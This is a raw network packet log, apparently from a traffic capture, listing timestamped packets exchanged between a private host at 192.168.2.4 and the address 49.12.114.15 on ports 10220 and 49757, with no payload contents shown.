Jan 10, 2024 15:49:21.094798088 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.094835997 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.094866037 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.094928980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.094964027 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.094980955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095005989 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095068932 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095117092 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095279932 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095324993 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095398903 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095484018 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095484972 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095535994 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095556974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095645905 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095657110 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095701933 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095740080 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095808029 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.095873117 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.095978022 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096019983 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096074104 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096115112 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096152067 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096232891 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096273899 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096329927 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096369028 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096405983 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096442938 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096503973 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096545935 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096582890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096640110 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096679926 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096724033 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096749067 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096791029 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096851110 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096898079 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.096920967 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.096961021 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097032070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097141027 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097182035 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097219944 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097260952 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097296953 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097387075 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097426891 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097477913 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097521067 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097568035 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097635984 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097655058 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097671032 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097718954 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097767115 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097868919 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.097918034 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.097970963 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.098016024 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.098063946 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.098109007 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.098166943 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.098211050 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.098287106 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.098328114 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.098392010 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.098432064 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.098475933 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.098536968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283602953 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283668995 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283679962 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283710003 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283719063 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283752918 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283752918 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283792973 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283816099 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283859968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283874989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283915043 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283916950 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.283952951 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.283958912 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284008980 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284106016 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284143925 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284153938 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284185886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284203053 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284238100 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284293890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284334898 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284522057 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284634113 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284738064 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284785032 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284800053 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284878016 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284900904 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.284951925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.284981966 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285022020 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285032034 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285058975 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285121918 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285160065 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285171032 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285229921 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285273075 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285299063 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285428047 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285443068 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285469055 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285547972 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285586119 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285598040 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285634041 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285656929 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285693884 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285696030 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285759926 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285767078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285823107 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285836935 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285875082 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.285906076 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285917044 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.285969019 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286005974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286075115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286077023 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286115885 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286176920 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286221027 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286248922 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286295891 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286349058 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286386013 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286391020 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286427975 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286458015 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286556959 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286604881 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286623955 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286695004 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286703110 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286753893 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286767960 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286807060 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286848068 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286876917 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.286921024 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.286978960 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287017107 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287029028 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287065983 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287158966 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287219048 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287251949 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287300110 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287324905 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287386894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287431955 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287482023 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287503004 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287544966 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287575006 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287688017 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287705898 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287744999 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287753105 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287825108 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287857056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287874937 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287893057 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.287936926 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.287993908 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288079023 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288106918 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288149118 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288177967 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288280964 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288319111 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288322926 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288388968 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288399935 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288429022 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288429022 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288515091 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288531065 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288568974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288583040 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288613081 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288638115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288692951 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288708925 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288750887 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288810015 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288863897 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.288882971 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.288927078 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289000988 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289038897 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289052010 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289089918 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289093018 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289133072 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289200068 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289242029 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289269924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289311886 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289340019 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289410114 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289453030 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289504051 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289550066 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289576054 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289669037 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289717913 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.289766073 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.289851904 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.472688913 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472755909 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472799063 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472819090 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.472847939 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472860098 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.472860098 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.472889900 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472928047 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472938061 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.472965956 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.472974062 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473005056 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473045111 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473051071 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473172903 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473212004 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473226070 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473249912 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473258972 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473325014 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473364115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473376036 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473434925 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473484993 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473539114 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473612070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473659039 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473715067 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473758936 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.473784924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473917961 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473958015 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.473963022 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474031925 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474078894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474103928 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474145889 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474174976 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474277973 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474318027 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474322081 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474356890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474399090 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474459887 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474499941 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474667072 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474704981 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474716902 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474745989 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474777937 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474817991 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474824905 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474889040 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.474935055 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.474994898 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475065947 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475105047 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475116968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475152016 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475177050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475249052 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475292921 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475301027 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475379944 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475424051 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475472927 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475497961 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475544930 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475622892 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475661993 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475673914 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475701094 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475706100 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475743055 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475774050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475811958 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475826025 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475857973 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.475883007 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475922108 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.475931883 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476026058 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476063967 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476077080 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476166010 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476213932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476258039 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476305962 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476341963 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476389885 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476457119 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476502895 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476552010 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476599932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476624966 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476695061 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476743937 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476794958 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476891041 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.476938009 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.476970911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477016926 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477050066 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477107048 CET	49757	10220	192.168.2.4	49.12.114.15
